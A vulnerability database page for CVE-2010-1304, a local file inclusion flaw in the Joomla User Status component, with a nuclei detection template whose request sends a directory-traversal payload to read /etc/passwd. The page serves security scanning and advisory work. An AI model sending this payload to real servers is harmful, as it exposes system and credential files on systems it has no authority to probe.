HexBrain

Browse / CVEs / CVE-2010-1304

CVE-2010-1304· joomlamo / com userstatus· CWE-22

Joomla! Component User Status - Local File Inclusion

mediumseverity
5CVSS score
14%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

A directory traversal vulnerability in userstatus.php in the User Status (com_userstatus) component 1.21.16 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.

Impact

Unauthenticated attackers can read arbitrary files on the server through directory traversal in the controller parameter of the User Status component, potentially exposing sensitive configuration files, database credentials in wp-config.php or configuration.php, and user data.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_userstatus&controller=../../../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-1304 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2010-1304

info:
  name: Joomla! Component User Status - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in userstatus.php in the User Status (com_userstatus) component 1.21.16 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Unauthenticated attackers can read arbitrary files on the server through directory traversal in the controller parameter of the User Status component, potentially exposing sensitive configuration files, database credentials in wp-config.php or configuration.php, and user data.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/11998
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1304
    - http://www.exploit-db.com/exploits/11998
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57483
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1304
    cwe-id: CWE-22
    epss-score: 0.14041
    epss-percentile: 0.96588
    cpe: cpe:2.3:a:joomlamo:com_userstatus:1.21.16:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomlamo
    product: com_userstatus
  tags: cve,cve2010,joomla,lfi,status,edb,joomlamo,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_userstatus&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from